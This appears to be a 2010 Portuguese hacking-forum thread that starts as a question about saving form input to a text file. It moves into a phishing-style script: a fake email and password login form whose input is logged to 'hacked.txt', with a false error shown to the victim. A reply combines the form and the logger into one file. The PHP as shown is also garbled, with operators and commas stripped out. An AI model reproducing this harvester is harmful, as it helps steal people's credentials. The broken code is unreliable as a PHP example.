FORUM DARKERS

Tecnologia & Informática => Programação => PhP/Html => Topic started by: Σĸөsıҳ on 19 de February , 2010, 06:02:08 PM

Title: [Dúvida] Salvar num arquivo TXT
Post by: Σĸөsıҳ on 19 de February , 2010, 06:02:08 PM
Supondo q eu tnha uma página com um campo de texto e um botão, como faço pra salvar o conteúdo do campo d texto num arquivo TXT ao clicar no botão?

vLw
Title: Re:[Dúvida] Salvar num arquivo TXT
Post by: Joey on 19 de February , 2010, 08:30:06 PM
<?php
if(isset($_POST["BUTTON"])) { /* BUTTON = Nome do botão */
$open fopen("arquivo.txt""a"); /* "a" = abre o arquivo somente para escrita. e posiciona o ponteiro no final do arquivo :) */
fwrite($open$T1); /* $T1 = Nome do campo de texto */
fclose($open); /* fecha o arquivo :D */
}

/* forum.brcode.org */
?>
Title: Re:[Dúvida] Salvar num arquivo TXT
Post by: Σĸөsıҳ on 19 de February , 2010, 09:18:20 PM
 ;) rsrs vlw... encontrei esse aki:
<?php
<form name="form1" method="post" action="save.php">
<
p><font face="Arial, Helvetica, sans-serif">E-mail
    
<input name="email" type="text" id="email"
</
font></p
<
p><font face="Arial, Helvetica, sans-serif">Senha 
    
<input name="password" type="password" id="password"
</
font></p
<
p
  <
input type="submit" name="Entrar" value="Entrar"
</
p
</
form
<
p>&nbsp;</p>
?>

e esse aki eh o save.php:
<?php  
//Get data from form.php 
$email $_POST["email"]; 
$password $_POST["password"]; 

//Prepair the content
$content "Email- $email | Password- $password\r\n"

//Record in the file
$file "hacked.txt"

//Try to open the file
if (!$open fopen($file"a")) { 
echo 
"Error opening file ($file)"
exit; 


//Write in file 
if (!fwrite($open$content)) { 
print 
"Error writing file ($file)"
exit; 


echo 
"Houve um erro. Tente novamente mais tarde."

//Close the file  
fclose($open);  
?>


mas tipo... tem como eu fazer o formulário em HTML e chamar o php pra salvar os dados num arquivo? como eu chamaria o php?
no proprio php acima eh assim: <form name="form1" method="post" [b]action="save.php"[/b]>

vLw
Title: Re:[Dúvida] Salvar num arquivo TXT
Post by: Joey on 19 de February , 2010, 11:06:44 PM
Não entendi direito o que você queria... mais acho que você quer TUDO em 1 só arquivo né?
Se for isso ta ae...

arquivo.php
<html>
<head>
</head>
<body>
<form name="form1" method="post" action="">
<p><font face="Arial, Helvetica, sans-serif">E-mail
    <input name="email" type="text" id="email">
</font></p>
<p><font face="Arial, Helvetica, sans-serif">Senha
    <input name="password" type="password" id="password">
</font></p>
<p>
  <input type="submit" name="Entrar" value="Entrar">
</p>
</form>
</body>
</html>

<?php
if(isset($_POST["Entrar"])) { 
$email $_REQUEST["email"];
$password $_REQUEST["password"];
if (!
$open fopen("hacked.txt""a")) {
echo 
"Error opening file ($file)";
exit;
}
fwrite($open"Email: $email - Password: $password");
fclose($open); 
}

/* forum.brcode.org */
?>
Title: Re:[Dúvida] Salvar num arquivo TXT
Post by: Σĸөsıҳ on 20 de February , 2010, 03:11:24 AM
pow vlw msmo cara
  ;D
Title: Re:[Dúvida] Salvar num arquivo TXT
Post by: Fvox on 03 de March , 2010, 05:50:31 PM
Dá pra dar uma boa resumida nisso aí, hehehe

<?php
file_put_contents
("arquivo.txt""dados"FILE_APPEND);
?>


Além da flag file_append, tem outras que você pode ver em:
http://www.php.net/manual/pt_BR/function.file-put-contents.php (http://www.php.net/manual/pt_BR/function.file-put-contents.php)

[]'s